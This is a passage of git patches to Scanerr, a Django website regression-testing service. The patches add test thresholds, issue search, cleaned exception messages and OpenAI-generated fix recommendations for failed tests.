+            threshold=float(threshold),
+            status='working'
         )
 
     # get pre_ & post_ scans
@@ -574,6 +580,7 @@ def create_test_bg(self, *args, **kwargs) -> None:
         automation_id : str
         pre_scan      : str
         post_scan     : str
+        threshold     : float
     }
     
     Returns -> None
@@ -586,6 +593,7 @@ def create_test_bg(self, *args, **kwargs) -> None:
     type = kwargs.get('type')
     configs = kwargs.get('configs')
     tags = kwargs.get('tags')
+    threshold = kwargs.get('threshold')
     automation_id = kwargs.get('automation_id')
     pre_scan = kwargs.get('pre_scan')
     post_scan = kwargs.get('post_scan')
@@ -606,6 +614,7 @@ def create_test_bg(self, *args, **kwargs) -> None:
                 type=type,
                 configs=configs,
                 tags=tags,
+                threshold=float(threshold),
                 pre_scan=pre_scan,
                 post_scan=post_scan,
                 automation_id=automation_id
@@ -620,6 +629,7 @@ def create_test_bg(self, *args, **kwargs) -> None:
             type=type,
             configs=configs,
             tags=tags,
+            threshold=float(threshold),
             pre_scan=pre_scan,
             post_scan=post_scan,
             automation_id=automation_id
diff --git a/app/api/utils/alerts.py b/app/api/utils/alerts.py
index cc6eef5d..1f46d823 100644
--- a/app/api/utils/alerts.py
+++ b/app/api/utils/alerts.py
@@ -543,7 +543,7 @@ def automation_email(email: str=None, automation_id: str=None, object_id: str=No
         item_type = data['item_type']
 
         # generating expressions from automation
-        exp_list = create_exp_str(
+        exp_list = create_exp(
             item=item, 
             automation=automation
         )['exp_list']
diff --git a/app/api/utils/automater.py b/app/api/utils/automater.py
index b53a7dd2..6551b898 100644
--- a/app/api/utils/automater.py
+++ b/app/api/utils/automater.py
@@ -39,7 +39,7 @@ def get_object(self) -> bool:
         Tries to get the focus object from self.object - if found 
         will set self.object and self.use_exp
 
-        Returns -> bool
+        Returns -> bool or object
         """
 
         if self.automation.schedule.task_type == 'scan':
@@ -94,7 +94,7 @@ def build_exp_list(self) -> None:
             value = str(expression['value'])
 
             # getting data
-            if self.object == None:
+            if self.object:
                 
                 # get comparison value
                 value = str(float(re.search(r'\d+', str(expression['value'])).group()))
@@ -265,7 +265,7 @@ def build_act_list(self) -> None:
                     object_id='{str(self.object_id)}')"
 
             # adding action to act_list
-            self.act_list.append(act)
+            self.act_list.append(action_type)
 
 
 
@@ -273,13 +273,13 @@ def build_act_list(self) -> None:
     def run_automation(self) -> None:
 
         # get object data
-        proceed = self.get_object()
+        self.get_object()
 
         # setting default
         exp_string = '1 == 1'
 
         # if obj was retrieved
-        if proceed:
+        if self.object:
 
             # build expression if self.use_exp
             if self.use_exp:
diff --git a/app/api/utils/caser.py b/app/api/utils/caser.py
index 843c24d1..addbc5af 100644
--- a/app/api/utils/caser.py
+++ b/app/api/utils/caser.py
@@ -235,8 +235,48 @@ def save_screenshot_s(self) -> str:
         return image_url
 
 
+
+    @sync_to_async
+    def format_exception(self, exception: str) -> str:
+        """ 
+        Cleans the passed `exception` of any 
+        system refs and unnecessary info
+
+        Expects: {
+            "exception": str
+        }
+
+        Returns -> str
+        """
+
+        split_e = str(exception).split('Stacktrace:')
+        new_exception = split_e[0]
+
+        return new_exception
+
+
     
 
+    def format_exception_s(self, exception: str) -> str:
+        """ 
+        Cleans the passed `exception` of any 
+        system refs and unnecessary info
+
+        Expects: {
+            "exception": str
+        }
+
+        Returns -> str
+        """
+
+        split_e = str(exception).split('Stacktrace:')
+        new_exception = split_e[0]
+
+        return new_exception
+
+    
+
+
     def run_s(self) -> None:
         """
         Runs the self.testcase using selenium as the driver
@@ -290,7 +330,7 @@ def run_s(self) -> None:
 
                 except Exception as e:
                     image = self.save_screenshot_s()
-                    exception = e
+                    exception = self.format_exception_s(e)
                     passed = False
 
                 self.update_testcase_s(
@@ -322,7 +362,7 @@ def run_s(self) -> None:
                 
                 except Exception as e:
                     image = self.save_screenshot_s()
-                    exception = e
+                    exception = self.format_exception_s(e)
                     passed = False
 
                 self.update_testcase_s(
@@ -361,7 +401,7 @@ def run_s(self) -> None:
                 
                 except Exception as e:
                     image = self.save_screenshot_s()
-                    exception = e
+                    exception = self.format_exception_s(e)
                     passed = False
 
                 self.update_testcase_s(
@@ -400,7 +440,7 @@ def run_s(self) -> None:
                 
                 except Exception as e:
                     image = self.save_screenshot_s()
-                    exception = e
+                    exception = self.format_exception_s(e)
                     passed = False
 
                 self.update_testcase_s(
@@ -448,7 +488,7 @@ def run_s(self) -> None:
                 
                 except Exception as e:
                     image = self.save_screenshot_s()
-                    exception = e
+                    exception = self.format_exception_s(e)
                     passed = False
 
                 self.update_testcase_s(
@@ -491,7 +531,7 @@ def run_s(self) -> None:
 
                 except Exception as e:
                     image = self.save_screenshot_s()
-                    exception = e
+                    exception = self.format_exception_s(e)
                     passed = False
 
                 self.update_testcase_s(
@@ -528,7 +568,7 @@ def run_s(self) -> None:
 
                 except Exception as e:
                     image = self.save_screenshot_s()
-                    exception = e
+                    exception = self.format_exception_s(e)
                     passed = False
 
                 self.update_testcase_s(
@@ -635,7 +675,7 @@ async def run_p(self) -> None:
 
                 except Exception as e:
                     image = await self.save_screenshot(page=self.page)
-                    exception = e
+                    exception = await self.format_exception(e)
                     passed = False
 
                 
@@ -667,7 +707,7 @@ async def run_p(self) -> None:
                 
                 except Exception as e:
                     image = await self.save_screenshot(page=self.page)
-                    exception = e
+                    exception = await self.format_exception(e)
                     passed = False
 
                 await self.update_testcase(
@@ -700,7 +740,7 @@ async def run_p(self) -> None:
                 
                 except Exception as e:
                     image = await self.save_screenshot(page=self.page)
-                    exception = e
+                    exception = await self.format_exception(e)
                     passed = False
 
                 await self.update_testcase(
@@ -735,7 +775,7 @@ async def run_p(self) -> None:
                 
                 except Exception as e:
                     image = await self.save_screenshot(page=self.page)
-                    exception = e
+                    exception = await self.format_exception(e)
                     passed = False
 
                 await self.update_testcase(
@@ -763,7 +803,7 @@ async def run_p(self) -> None:
                 
                 except Exception as e:
                     image = await self.save_screenshot(page=self.page)
-                    exception = e
+                    exception = await self.format_exception(e)
                     passed = False
 
                 await self.update_testcase(
@@ -798,7 +838,7 @@ async def run_p(self) -> None:
 
                 except Exception as e:
                     image = await self.save_screenshot(page=self.page)
-                    exception = e
+                    exception = await self.format_exception(e)
                     passed = False
 
                 await self.update_testcase(
@@ -827,7 +867,7 @@ async def run_p(self) -> None:
 
                 except Exception as e:
                     image = await self.save_screenshot(page=self.page)
-                    exception = e
+                    exception = await self.format_exception(e)
                     passed = False
 
                 await self.update_testcase(
diff --git a/app/api/utils/issuer.py b/app/api/utils/issuer.py
index 78174996..eca762be 100644
--- a/app/api/utils/issuer.py
+++ b/app/api/utils/issuer.py
@@ -85,15 +85,16 @@ def build_issue(self):
 
             # build intro
             intro = str(
-                f'Testcase `{self.testcase.case_name}` failed on **Step {step_index}**,' + 
-                f' `{failed_step["action"]["type"]}`.\n\n'
+                f'Testcase [{self.testcase.case_name}](/{trigger["type"]}/{trigger["id"]})' + 
+                f' failed on **Step {step_index}**, "{failed_step["action"]["type"]}".\n\n' +
+                f' **Affected Site:** [{affected["str"]}](/{affected["type"]}/{affected["id"]})\n\n'
             )
             
             # build main_issue
             main_issue = str(
                 f'### Main Issue or Exception:\n' + 
-                f' ```{failed_step["action"]["exception"]}``` \n\n' +
-                f' <img src="{failed_step["action"]["image"]}" className="max-w-3/4"/> \n\n'
+                f' ```shell\n{failed_step["action"]["exception"]}\n``` \n\n' +
+                f' [View Image]({failed_step["action"]["image"]})\n\n'
             )
 
             # build recommendation
@@ -114,7 +115,7 @@ def build_issue(self):
                         ordered_scores.append({key: self.test.component_scores[key]})
 
             # build components str
-            comp_str = str('| Component | Score |\n|-----|-----|')
+            comp_str = str('| Component | Score |\n|:-----|-----:|')
             for score in ordered_scores:
                 for key in score:
                     comp_str += f'\n| {key} | {round(score[key], 2)} |'
@@ -124,7 +125,8 @@ def build_issue(self):
 
             # build intro
             intro = str(
-                f'Test failed for the page "{self.test.page.page_url}" ' + 
+                f'[Test](/{trigger["type"]}/{trigger["id"]}) failed for the page ' + 
+                f'[{affected["str"]}](/{affected["type"]}/{affected["id"]}) ' + 
                 f'based on the set threshold of {round(self.test.threshold, 2)}%.\n\n'
             )
 
diff --git a/app/api/utils/scanner.py b/app/api/utils/scanner.py
index 93c462f8..62fee1bb 100644
--- a/app/api/utils/scanner.py
+++ b/app/api/utils/scanner.py
@@ -373,10 +373,11 @@ def check_scan_completion(scan: object, test_id: str=None, automation_id: str=No
 
         # start Test if test_id present
         if test_id is not None:
-            print('\n-\n---------------\nScan Complete\nStarting Test...\n---------------\n')
+            print('\n\n---------------\nScan Complete\nStarting Test...\n---------------\n\n')
             test = Test.objects.get(id=test_id)
             Tester(test=test).run_test()
             if automation_id:
+                print('running automation from `scanerr.check_scan_completion`')
                 Automater(automation_id, test.id).run_automation()
 
     # returning scan
diff --git a/app/api/utils/tester.py b/app/api/utils/tester.py
index cf57fbfe..e7e66721 100644
--- a/app/api/utils/tester.py
+++ b/app/api/utils/tester.py
@@ -838,7 +838,7 @@ def run_test(self, index: int=None) -> object:
                 # scores & data
                 yellowlab_data = self.delta_yellowlab()
                 yl_audits_uri = self.get_yl_audits_deltas(scores=yellowlab_data['scores'])
-                yellowlab_data['audits'] = lh_audits_uri
+                yellowlab_data['audits'] = yl_audits_uri
                 yellowlab_avg = yellowlab_data['scores']['average_delta']
                 if yellowlab_avg != None and yellowlab_avg > -100:
                     yellowlab_score = (100 + yellowlab_avg)/100
@@ -905,11 +905,11 @@ def run_test(self, index: int=None) -> object:
         self.test.images_delta = images_data
         self.test.score = score
         self.test.status = 'passed' if score >= self.test.threshold else 'failed'
-        self.test.component_scores['html'] = (micro_diff_score * 100)
-        self.test.component_scores['logs'] = (num_logs_ratio * 100)
-        self.test.component_scores['lighthouse'] = (lighthouse_score * 100)
-        self.test.component_scores['yellowlab'] = (yellowlab_score * 100)
-        self.test.component_scores['vrt'] = (images_score * 100)
+        self.test.component_scores['html'] = (micro_diff_score * 100) if micro_diff_w != 0 else None
+        self.test.component_scores['logs'] = (num_logs_ratio * 100) if num_logs_w != 0 else None
+        self.test.component_scores['lighthouse'] = (lighthouse_score * 100) if delta_lh_w != 0 else None
+        self.test.component_scores['yellowlab'] = (yellowlab_score * 100) if delta_yl_w != 0 else None
+        self.test.component_scores['vrt'] = (images_score * 100) if images_w != 0 else None
         self.test.save()
 
         # updating associated page and site
diff --git a/app/api/utils/yellowlab.py b/app/api/utils/yellowlab.py
index 7270f523..f316c0a8 100644
--- a/app/api/utils/yellowlab.py
+++ b/app/api/utils/yellowlab.py
@@ -21,6 +21,7 @@ def __init__(self, scan=None, configs=None):
         self.site = self.scan.site
         self.page = self.scan.page
         self.configs = configs
+        self.audits_url = ''
 
         # initial audits object
         self.audits = {
@@ -208,11 +209,11 @@ def process_data(self, stdout_json: dict) -> dict:
         os.remove(audit_file)
 
         # updating opjects
-        self.audits = audits_url
+        self.audits_url = audits_url
 
         data = {
             "scores": self.scores, 
-            "audits": self.audits,
+            "audits": self.audits_url,
             "failed": False
         }
 
@@ -251,7 +252,7 @@ def get_data(self):
 
         data = {
             "scores": self.scores, 
-            "audits": self.audits,
+            "audits": self.audits_url,
             "failed": failed
         }
             
diff --git a/app/api/v1/auth/views.py b/app/api/v1/auth/views.py
index f2324db5..bcea5525 100644
--- a/app/api/v1/auth/views.py
+++ b/app/api/v1/auth/views.py
@@ -75,6 +75,7 @@ class GetResetLink(APIView):
 
     def post(self, request): 
         response = send_reset_email(request)
+        return response
 
 
 
diff --git a/app/api/v1/ops/services.py b/app/api/v1/ops/services.py
index d3b25bfa..d91c66b0 100644
--- a/app/api/v1/ops/services.py
+++ b/app/api/v1/ops/services.py
@@ -1880,7 +1880,7 @@ def create_test(request: object=None, delay: bool=False, **kwargs) -> object:
             page=p,
             type=test_type,
             tags=tags,
-            threshold=threshold,
+            threshold=float(threshold),
             status='working',
         )
 
@@ -1898,6 +1898,7 @@ def create_test(request: object=None, delay: bool=False, **kwargs) -> object:
                 pre_scan=pre_scan_id, 
                 post_scan=post_scan_id,
                 tags=tags,
+                threshold=float(threshold),
             )
             message = 'Tests are being created in the background'
 
@@ -2346,7 +2347,7 @@ def create_or_update_issue(request: object=None, **kwargs) -> object:
         trigger = request.data.get('trigger')
         title = request.data.get('title')
         details = request.data.get('details')
-        status = request.data.get('status')
+        _status = request.data.get('status')
         affected = request.data.get('affected')
         labels = request.data.get('labels')
         account = Member.objects.get(user=request.user).account
@@ -2357,7 +2358,7 @@ def create_or_update_issue(request: object=None, **kwargs) -> object:
         trigger = kwargs.get('trigger')
         title = kwargs.get('title')
         details = kwargs.get('details')
-        status = kwargs.get('status')
+        _status = kwargs.get('status')
         affected = kwargs.get('affected')
         labels = kwargs.get('labels')
         account_id = kwargs.get('account_id')
@@ -2374,8 +2375,8 @@ def create_or_update_issue(request: object=None, **kwargs) -> object:
             issue.title = title
         if details is not None:
             issue.details = details
-        if status is not None:
-            issue.status = status
+        if _status is not None:
+            issue.status = _status
         if affected is not None:
             issue.affected = affected
         if labels is not None:
@@ -2456,23 +2457,22 @@ def get_issues(request: object) -> object:
 
     # get all issues scoped page if page_id passed
     if page_id is not None:
-        issues = Issues.objects.filter(
+        issues = Issue.objects.filter(
             affected__icontains={'id': page_id}, 
             account=account
-        ).order_by('-time_created')
-    
+        ).order_by('status', '-time_created')
     # get all issues scoped page if page_id passed
     if site_id is not None:
-        issues = Issues.objects.filter(
+        issues = Issue.objects.filter(
             affected__icontains={'id': site_id}, 
             account=account
-        ).order_by('-time_created')
+        ).order_by('status', '-time_created')
     
     # get all account assocoiated issues
     if issues is None:
-        issues = Issues.objects.filter(
+        issues = Issue.objects.filter(
             account=account
-        ).order_by('-time_created')
+        ).order_by('status', '-time_created')
 
     # serialize and return
     paginator = LimitOffsetPagination()
@@ -2524,6 +2524,42 @@ def get_issue(request: object, id: str) -> object:
 
 
 
+def search_issues(request: object) -> object:
+    """ 
+    Searches for matching `Issues` to the passed 
+    "query"
+
+    Expects: {
+        'request': obejct
+    }
+    
+    Returns -> HTTP Response object
+    """
+
+    # get request data
+    user = request.user
+    account = Member.objects.get(user=user).account
+    query = request.query_params.get('query')
+    
+    # search for issues
+    issues = Issue.objects.filter(
+        Q(account=account, title__icontains=query) |
+        Q(account=account, details__icontains=query) |
+        Q(account=account, affected__icontains={'str':query})
+    ).order_by('status', '-time_created')
+    
+    # serialize and rerturn
+    paginator = LimitOffsetPagination()
+    result_page = paginator.paginate_queryset(issues, request)
+    serializer_context = {'request': request,}
+    serialized = IssueSerializer(result_page, many=True, context=serializer_context)
+    response = paginator.get_paginated_response(serialized.data)
+    record_api_call(request, response.data, '200')
+    return response 
+
+
+
+
 def delete_issue(request: object, id: str) -> object:
     """ 
     Deletes the `Issue` associated with the passed "id" 
@@ -2588,6 +2624,7 @@ def create_or_update_schedule(request: object) -> object:
     test_type = request.data.get('test_type', settings.TYPES)
     scan_type = request.data.get('scan_type', settings.TYPES)
     configs = request.data.get('configs', settings.CONFIGS)
+    threshold = request.data.get('threshold', settings.TEST_THRESHOLD)
     schedule_id = request.data.get('schedule_id')
     site_id = request.data.get('site_id')
     page_id = request.data.get('page_id')
@@ -2661,6 +2698,7 @@ def create_or_update_schedule(request: object) -> object:
             'configs': configs,
             'case_id': case_id,
             'type': scan_type if task_type == 'scan' else test_type,
+            'threshold': threshold,
             'automation_id': auto_id
         }
 
@@ -2747,7 +2785,8 @@ def create_or_update_schedule(request: object) -> object:
             "test_type": test_type,
             "scan_type": scan_type, 
             "case_id": case_id, 
-            "updates": updates
+            "updates": updates,
+            "threshold": threshold,
         }
         
         # update existing schedule
@@ -3026,6 +3065,7 @@ def create_or_update_automation(request: object) -> object:
         schedule = Schedule.objects.get(id=schedule_id)
     if automation_id:
         automation = Automation.objects.get(id=automation_id)
+        schedule = automation.schedule
 
     # update existing automation
     if automation:
@@ -3076,6 +3116,7 @@ def create_or_update_automation(request: object) -> object:
             'automation_id': str(automation.id),
             'configs': json.loads(task.kwargs).get('configs'), 
             'type': json.loads(task.kwargs).get('type'),
+            'threshold': json.loads(task.kwargs).get('threshold'),
             'case_id': json.loads(task.kwargs).get('case_id'),
             'updates': json.loads(task.kwargs).get('updates')
         }
@@ -4530,13 +4571,15 @@ def get_home_metrics(request: object) -> object:
     Returns -> HTTP Response object
     """
 
-    # get user, account, & sites
+    # get user, account, sites, & issues
     user = request.user
     account = Member.objects.get(user=user).account
     sites = Site.objects.filter(account=account)
+    issues = Issue.objects.filter(account=account, status='open')
     
     # setting defaults
     site_count = sites.count()
+    issues_count = issues.count()
     test_count = 0
     scan_count = 0
     schedule_count = 0
@@ -4556,6 +4599,7 @@ def get_home_metrics(request: object) -> object:
         "tests": test_count,
         "scans": scan_count,
         "schedules": schedule_count,
+        "open_issues": issues_count,
     }
     
     # return response
diff --git a/app/api/v1/ops/urls.py b/app/api/v1/ops/urls.py
index 30804517..37b71a91 100644
--- a/app/api/v1/ops/urls.py
+++ b/app/api/v1/ops/urls.py
@@ -34,6 +34,7 @@
     path('testcase/delay', views.TestcaseDelay.as_view(), name='testcase-delay'),
     path('testcase/<uuid:id>', views.TestcaseDetail.as_view(), name='testcase-detail'),
     path('issue', views.Issues.as_view(), name='issue'),
+    path('issue/search', views.IssuesSearch.as_view(), name='issue-search'),
     path('issue/<uuid:id>', views.IssueDetail.as_view(), name='issue-detail'),
     path('report', views.Reports.as_view(), name='report'),
     path('report/<uuid:id>', views.ReportDetail.as_view(), name='report-detail'),
diff --git a/app/api/v1/ops/views.py b/app/api/v1/ops/views.py
index eb5aa4f2..006cdc58 100644
--- a/app/api/v1/ops/views.py
+++ b/app/api/v1/ops/views.py
@@ -557,6 +557,17 @@ def get(self, request):
 
 
 
+class IssuesSearch(APIView):
+    permission_classes = (IsAuthenticated,)
+    http_method_names = ['get']
+
+    def get(self, request):
+        response = search_issues(request)
+        return response
+
+
+
+
 class IssueDetail(APIView):
     permission_classes = (IsAuthenticated,)
     http_method_names = ['get', 'delete']
diff --git a/app/scanerr/settings.py b/app/scanerr/settings.py
index bf47dce5..d5e9c18a 100644
--- a/app/scanerr/settings.py
+++ b/app/scanerr/settings.py
@@ -238,7 +238,7 @@
 
 
 # Global Test.threshold
-TEST_THRESHOLD = 101
+TEST_THRESHOLD = 95
 
 
 # Global Scan & Test types

From be59519d39b647e2f0c228ad4c0437f5aa764b03 Mon Sep 17 00:00:00 2001
From: Landon <landon@greylabs.io>
Date: Fri, 19 Jul 2024 11:08:20 -0600
Subject: [PATCH 595/752] Added AI recommendations to Issues

---
 app/api/utils/issuer.py                     | 108 ++++++++++++++++++--
 app/scanerr/settings.py                     |   4 +
 env/.env.dev.example                        |   5 +
 env/.env.prod.example                       |   6 ++
 env/.env.stage.example                      |   6 ++
 setup/requirements/requirements-staging.txt |   1 +
 setup/requirements/requirements.txt         |   1 +
 7 files changed, 125 insertions(+), 6 deletions(-)

diff --git a/app/api/utils/issuer.py b/app/api/utils/issuer.py
index eca762be..ae9e6461 100644
--- a/app/api/utils/issuer.py
+++ b/app/api/utils/issuer.py
@@ -1,5 +1,6 @@
 from ..models import *
 from scanerr import settings
+from openai import OpenAI
 import time, os, json, uuid, random, boto3
 
 
@@ -33,6 +34,11 @@ def __init__(
         # main objects
         self.test = test
         self.testcase = testcase
+        
+        # init GPT client
+        self.gpt_client = OpenAI(
+            api_key=settings.GPT_API_KEY,
+        )
 
 
     
@@ -85,9 +91,9 @@ def build_issue(self):
 
             # build intro
             intro = str(
-                f'Testcase [{self.testcase.case_name}](/{trigger["type"]}/{trigger["id"]})' + 
-                f' failed on **Step {step_index}**, "{failed_step["action"]["type"]}".\n\n' +
-                f' **Affected Site:** [{affected["str"]}](/{affected["type"]}/{affected["id"]})\n\n'
+                f'#### Testcase [{self.testcase.case_name}](/{trigger["type"]}/{trigger["id"]})' + 
+                f' failed on **Step {step_index}**, `{failed_step["action"]["type"]}`.\n\n' +
+                f' **Affected Site:** [{affected["str"]}](/{affected["type"]}/{affected["id"]})\n\n\n'
             )
             
             # build main_issue
@@ -98,8 +104,12 @@ def build_issue(self):
             )
 
             # build recommendation
+            response = self.build_recommendation(
+                details = str(intro + main_issue)
+            )
             recommendation = str(
-                f''
+                f'\n\n### Recommendations:\n' +
+                f'{response}'
             )
 
         # building details, title, & labels 
@@ -120,6 +130,15 @@ def build_issue(self):
                 for key in score:
                     comp_str += f'\n| {key} | {round(score[key], 2)} |'
 
+            # adjusting component names in table
+            comp_str = comp_str.replace(
+                    'vrt', 
+                    'visual regression (vrt)'
+                ).replace(
+                    'html', 
+                    'html regression (html)'
+                )
+
             # build title
             title = f'Test Failed at {round(self.test.score, 2)}%'
 
@@ -127,7 +146,7 @@ def build_issue(self):
             intro = str(
                 f'[Test](/{trigger["type"]}/{trigger["id"]}) failed for the page ' + 
                 f'[{affected["str"]}](/{affected["type"]}/{affected["id"]}) ' + 
-                f'based on the set threshold of {round(self.test.threshold, 2)}%.\n\n'
+                f'based on the set threshold of {round(self.test.threshold, 2)}%.\n\n\n'
             )
 
             # build main_issue
@@ -137,8 +156,12 @@ def build_issue(self):
             )
 
             # build recommendation
+            response = self.build_recommendation(
+                details = str(intro + main_issue)
+            )
             recommendation = str(
-                f''
+                f'\n\n### Recommendations:\n' +
+                f'{response}'
             )
 
         # build details from components
@@ -160,3 +183,76 @@ def build_issue(self):
 
 
 
+    def build_recommendation(
+            self, 
+            details: str=None,
+        ) -> str:
+        """ 
+        Using OpenAI's Chat GPT, composes a personalized 
+        `recommendation` for the primary `Issue` being created. 
+
+        Expcets: {
+            'details' : str,
+        }
+
+        Returns -> str    
+        """
+
+        # initializing
+        recommendation = ''
+
+        # building recomendation
+        # for self.test
+        if self.test:
+            
+            # send the initial request
+            recommendation = self.gpt_client.chat.completions.create(
+                model="gpt-4o-mini", # old model -> gpt-3.5-turbo
+                messages=[
+                    {
+                        "role": "user", 
+                        "content": f"Create a recommendation for developers \
+                            baseded on this generated issue: '\n\n{details}\n\n'. \
+                            The components are portions of a regression test of a website. \
+                            Format with markdown. \
+                            Format each recommendation as a markdown task. \
+                            Omit the title or header in your response. \
+                            Remove any disclaimer or note section. \
+                            Remove any reference to 'Test Cases'. \
+                            Remove and reference to 'visual comparison tools'. \
+                            Max Length of Response: 170 words. \
+                            Tone: Instructive"
+                    },
+                ]
+            ).choices[0].message.content
+        
+        # building recomendation
+        # for self.testcase
+        if self.testcase:
+
+            # send the initial request
+            recommendation = self.gpt_client.chat.completions.create(
+                model="gpt-4o-mini", # old model -> gpt-3.5-turbo
+                messages=[
+                    {
+                        "role": "user", 
+                        "content": f"Create a recommendation for developers \
+                            baseded on this generated issue: '\n\n{details}\n\n'. \
+                            Format with markdown. \
+                            Format each recommendation as a markdown task. \
+                            Omit the title or header in your response. \
+                            Remove any disclaimer or notes section. \
+                            Remove any reference to selenium documentation. \
+                            Max Length of Response: 170 words. \
+                            Tone: Instructive"
+                    },
+                ]
+            ).choices[0].message.content
+
+        # return recommendation 
+        return recommendation
+
+    
+
+
+
diff --git a/app/scanerr/settings.py b/app/scanerr/settings.py
index d5e9c18a..e14a55a1 100644
--- a/app/scanerr/settings.py
+++ b/app/scanerr/settings.py
@@ -213,6 +213,10 @@
 GOOGLE_CRUX_KEY = os.environ.get('GOOGLE_CRUX_KEY')
 
 
+# OpenAI's GPT API key
+GPT_API_KEY = os.environ.get('GPT_API_KEY')
+
+
 # Stripe keys
 if os.environ.get('STRIPE_ENV') == 'prod':
     STRIPE_PUBLIC = os.environ.get('STRIPE_PUBLIC_LIVE')
diff --git a/env/.env.dev.example b/env/.env.dev.example
index e4bee11c..31444d84 100644
--- a/env/.env.dev.example
+++ b/env/.env.dev.example
@@ -91,5 +91,10 @@ AWS_DEFAULT_ACL = public-read
 
 
 
+# OpenAI API key
+GPT_API_KEY = sk-123450989776124ni989wed23e9dub # example
+
+
+
 # Self Hosted Cred
 CRED = ask-for-this-cred-before-deploying
\ No newline at end of file
diff --git a/env/.env.prod.example b/env/.env.prod.example
index fa74795b..9d6d9f46 100644
--- a/env/.env.prod.example
+++ b/env/.env.prod.example
@@ -87,6 +87,12 @@ AWS_LOCATION = static
 AWS_DEFAULT_ACL = public-read
 
 
+
+# OpenAI API key
+GPT_API_KEY = sk-123450989776124ni989wed23e9dub # example
+
+
+
 # Self Hosted Cred
 CRED = ask-for-this-cred-before-deploying
 
diff --git a/env/.env.stage.example b/env/.env.stage.example
index e79c8a99..422f0828 100644
--- a/env/.env.stage.example
+++ b/env/.env.stage.example
@@ -83,6 +83,12 @@ AWS_LOCATION = static
 AWS_DEFAULT_ACL = public-read
 
 
+
+# OpenAI API key
+GPT_API_KEY = sk-123450989776124ni989wed23e9dub # example
+
+
+
 # Self Hosted Cred
 CRED = ask-for-this-cred-before-deploying
 
diff --git a/setup/requirements/requirements-staging.txt b/setup/requirements/requirements-staging.txt
index 67a4e702..79d05b21 100644
--- a/setup/requirements/requirements-staging.txt
+++ b/setup/requirements/requirements-staging.txt
@@ -26,6 +26,7 @@ imutils==0.5.4
 kombu==5.3.7
 Markdown==3.6
 numpy~=1.26.4
+openai==1.35.14
 opencv-python==4.5.5.64
 Pillow==10.3.0
 prometheus-client==0.8.0
diff --git a/setup/requirements/requirements.txt b/setup/requirements/requirements.txt
index 929183ba..355932a0 100644
--- a/setup/requirements/requirements.txt
+++ b/setup/requirements/requirements.txt
@@ -26,6 +26,7 @@ imutils==0.5.4
 kombu==5.1.0
 Markdown==3.3.4
 numpy==1.22.3
+openai==1.35.14
 opencv-python==4.5.5.64
 Pillow==9.0.1
 prometheus-client==0.8.0

From aacec85dd7185a1870d2c1c43e4adf349638ba27 Mon Sep 17 00:00:00 2001
From: Landon <landon@greylabs.io>
Date: Fri, 19 Jul 2024 11:29:35 -0600
Subject: [PATCH 596/752] updated AI prompt fro testcases

---
 app/api/utils/issuer.py | 3 ++-
 1 file changed, 2 insertions(+), 1 deletion(-)

diff --git a/app/api/utils/issuer.py b/app/api/utils/issuer.py
index ae9e6461..dbb0b443 100644
--- a/app/api/utils/issuer.py
+++ b/app/api/utils/issuer.py
@@ -92,7 +92,7 @@ def build_issue(self):
             # build intro
             intro = str(
                 f'#### Testcase [{self.testcase.case_name}](/{trigger["type"]}/{trigger["id"]})' + 
-                f' failed on **Step {step_index}**, `{failed_step["action"]["type"]}`.\n\n' +
+                f' failed on **Step {step_index}**, `{failed_step["action"]["type"]}`.\n\n\n' +
                 f' **Affected Site:** [{affected["str"]}](/{affected["type"]}/{affected["id"]})\n\n\n'
             )
             
@@ -243,6 +243,7 @@ def build_recommendation(
                             Omit the title or header in your response. \
                             Remove any disclaimer or notes section. \
                             Remove any reference to selenium documentation. \
+                            Remove any reference of 'alternative selector strategies'. \
                             Max Length of Response: 170 words. \
                             Tone: Instructive"
                     },

From 46695f6f602ab73c1113f8f9677c3b3d7841bfef Mon Sep 17 00:00:00 2001
From: Landon <landon@greylabs.io>
Date: Mon, 22 Jul 2024 15:51:22 -0600
Subject: [PATCH 597/752] updates for Account & Billing views

---
 app/api/models.py              |  9 ++++
 app/api/utils/caser.py         |  4 +-
 app/api/utils/issuer.py        |  2 +-
 app/api/utils/tester.py        |  2 +-
 app/api/v1/auth/serializers.py |  3 +-
 app/api/v1/auth/services.py    |  7 +++-
 app/api/v1/billing/services.py |  8 ----
 app/api/v1/ops/services.py     | 75 +++++++++++++++++++++++++++-------
 app/scanerr/settings.py        |  3 +-
 9 files changed, 84 insertions(+), 29 deletions(-)

diff --git a/app/api/models.py b/app/api/models.py
index 41b7a54b..4390939c 100644
--- a/app/api/models.py
+++ b/app/api/models.py
@@ -4,6 +4,7 @@
 from django.contrib.auth.models import User
 from datetime import datetime
 from django.contrib.postgres.fields import JSONField
+from scanerr import settings
 import uuid
 
 
@@ -249,6 +250,13 @@ def get_tags_default():
 
 
 
+def get_default_configs():
+    configs = settings.CONFIGS
+    return configs
+
+
+
+
 class Account(models.Model):
     id = models.UUIDField(primary_key=True, default=uuid.uuid4, editable=False)
     name = models.CharField(max_length=1000, serialize=True, null=True, blank=True)
@@ -270,6 +278,7 @@ class Account(models.Model):
     price_amount = models.IntegerField(serialize=True, null=True, blank=True, default=0)
     interval = models.CharField(max_length=50, serialize=True, null=True, blank=True, default='month')
     slack = models.JSONField(serialize=True, null=True, blank=True, default=get_slack_default)
+    configs = models.JSONField(serialize=True, null=True, blank=True, default=get_default_configs)
     meta = models.JSONField(serialize=True, null=True, blank=True)
 
     def __str__(self):
diff --git a/app/api/utils/caser.py b/app/api/utils/caser.py
index addbc5af..f7cfc6b6 100644
--- a/app/api/utils/caser.py
+++ b/app/api/utils/caser.py
@@ -587,7 +587,7 @@ def run_s(self) -> None:
         quit_driver(driver=self.driver)
         print('-- testcase run complete --')
 
-        if not self.testcase.passed:
+        if not self.testcase.passed and self.testcase.configs.get('create_issue'):
             print('generating new Issue...')
             Issuer(testcase=self.testcase).build_issue()
         
@@ -885,7 +885,7 @@ async def run_p(self) -> None:
         await self.driver.close()
         print('-- testcase run complete --')
 
-        if not self.testcase.passed:
+        if not self.testcase.passed and self.test.configs.get('create_issue'):
             print('generating new Issue...')
             Issuer(testcase=self.testcase).build_issue()
 
diff --git a/app/api/utils/issuer.py b/app/api/utils/issuer.py
index dbb0b443..b5e6743d 100644
--- a/app/api/utils/issuer.py
+++ b/app/api/utils/issuer.py
@@ -91,7 +91,7 @@ def build_issue(self):
 
             # build intro
             intro = str(
-                f'#### Testcase [{self.testcase.case_name}](/{trigger["type"]}/{trigger["id"]})' + 
+                f'Testcase [{self.testcase.case_name}](/{trigger["type"]}/{trigger["id"]})' + 
                 f' failed on **Step {step_index}**, `{failed_step["action"]["type"]}`.\n\n\n' +
